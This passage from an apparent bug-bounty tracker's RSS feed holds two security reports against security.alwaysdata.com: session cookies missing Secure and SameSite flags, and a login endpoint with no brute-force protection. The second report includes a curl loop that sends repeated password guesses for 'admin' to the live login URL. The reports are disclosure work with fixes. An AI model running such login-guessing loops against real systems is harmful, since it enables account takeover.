</p>

<p>
<strong>Target:</strong> security.alwaysdata.com<br /><strong>Affected response header:</strong> `Set-Cookie` on every authenticated response
</p>

<p>
## Description
</p>

<p>
The Flyspray session cookie is set with `HttpOnly` only — both the `Secure` flag and the `SameSite` attribute are missing. This is a measurable regression compared to alwaysdata&#039;s Django stack on `admin.alwaysdata.com`, which correctly sets `Secure; SameSite=Lax` on its session cookie.
</p>

<p>
## Steps to Reproduce
</p>

<p>
```<br />curl -sI <a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> | grep -i set-cookie<br /># → Set-Cookie: flyspray=&lt;sessionid&gt;; path=/; HttpOnly<br />#       (no Secure, no SameSite)
</p>

<p>
# Compare admin.alwaysdata.com (correct):<br />curl -sI <a href="https://admin.alwaysdata.com/" class="urlextern" title="https://admin.alwaysdata.com/"  rel="nofollow">https://admin.alwaysdata.com/</a> | grep -i set-cookie<br /># → Set-Cookie: csrftoken=…; Path=/; SameSite=Lax; Secure<br />```
</p>

<p>
## Impact
</p>

<p>
* The session cookie will be transmitted in plaintext if the user is ever forced onto an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> origin (downgrade / hostile coffee-shop network / user typing the domain without https).<br />* Without `SameSite`, third-party sites can include this domain via top-level navigation or cross-site POST and the cookie is attached, removing CSRF defense-in-depth.<br />* On a subdomain that hosts user-supplied attachments (see ALW-011), the missing `SameSite` is meaningful.
</p>

<p>
## Remediation
</p>

<p>
In Flyspray&#039;s session configuration set both flags:
</p>

<p>
```<br /># php.ini or .htaccess<br />session.cookie_secure = 1<br />session.cookie_samesite = &quot;Lax&quot;<br />session.cookie_httponly = 1<br />```
</p>

<p>
Final header should look like:
</p>

<p>
```<br />Set-Cookie: flyspray=&lt;sessionid&gt;; path=/; HttpOnly; Secure; SameSite=Lax<br />```
</p>

<p>
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/333</link>
      <guid>https://security.alwaysdata.com/task/333</guid>
    </item>
        <item>
      <title>FS#332: [ALW-007] Flyspray Login Endpoint Has No Rate Limiting / Account Lockout</title>
      <author>ahmed saeed srour</author>
      <pubDate>Sat, 09 May 2026 22:10:14 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity:</strong> MEDIUM
</p>

<p>
<strong>Target:</strong> security.alwaysdata.com<br /><strong>Affected endpoint:</strong> `POST <a href="https://security.alwaysdata.com/index.php?do=authenticate" class="urlextern" title="https://security.alwaysdata.com/index.php?do=authenticate"  rel="nofollow">https://security.alwaysdata.com/index.php?do=authenticate</a>`
</p>

<p>
## Description
</p>

<p>
The Flyspray login endpoint at `security.alwaysdata.com` does not implement any form of brute-force protection: no progressive delay, no per-IP throttling, no per-account lockout, and no CAPTCHA after repeated failures. Because this is the same Flyspray instance that hosts every researcher&#039;s confidential bug-bounty submissions, brute-forcing an analyst account is a direct path to compromising the entire program intake.
</p>

<p>
## Steps to Reproduce
</p>

<p>
```<br /># Five consecutive bad-password attempts against a known-existing username<br />for i in 1 2 3 4 5; do
</p>
<pre class="code">curl -s -o /dev/null -w &#039;%{http_code}\n&#039; \
  -X POST &#039;https://security.alwaysdata.com/index.php?do=authenticate&#039; \
  -d &#039;user_name=admin&amp;password=wrong&#039;</pre>

<p>
done<br /># → 303<br /># → 303<br /># → 303<br /># → 303<br /># → 303<br />```
</p>

<p>
No lockout, no CAPTCHA, no slowdown. (Stopped at 5 to comply with the program&#039;s &quot;do not damage production&quot; rule.) Combined with ALW-006 / <del>&#160;<a href="https://security.alwaysdata.com/task/329?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#329</a>&#160;</del> (already-known username enumeration via `searchnames.php`), an attacker has a complete brute-force pipeline.
</p>

<p>
## Impact
</p>

<p>
* Brute-force attacks against analyst, admin, and researcher accounts are feasible from a single source.<br />* Compromise of an analyst account would expose <strong>every</strong> researcher&#039;s unredacted submission and PoC attachments — the most damaging possible outcome on this asset.<br />* Increases the impact of ALW-009 (insecure cookie) and ALW-015 (weak CSRF token) by enabling pre-conditions for full account takeover.
</p>

<p>
## Remediation
</p>

<p>
* Add progressive delay after 3 failed attempts (e.g. exponential backoff up to 60 s).<br />* Show a CAPTCHA after 5 failed attempts (per IP <strong>and</strong> per username).<br />* Lock the target account (or send an admin alert) after 10 failed attempts in a short window.<br />* Deploy fail2ban with a jail tailing the Flyspray auth log to ban IPs at the firewall after sustained abuse.<br />* Consider upgrading from Flyspray 1.0-rc11 to a version with built-in rate-limiting hooks.
</p>

<p>
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, capped at 5 attempts.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/332</link>
      <guid>https://security.alwaysdata.com/task/332</guid>
    </item>
      </channel>
</rss>
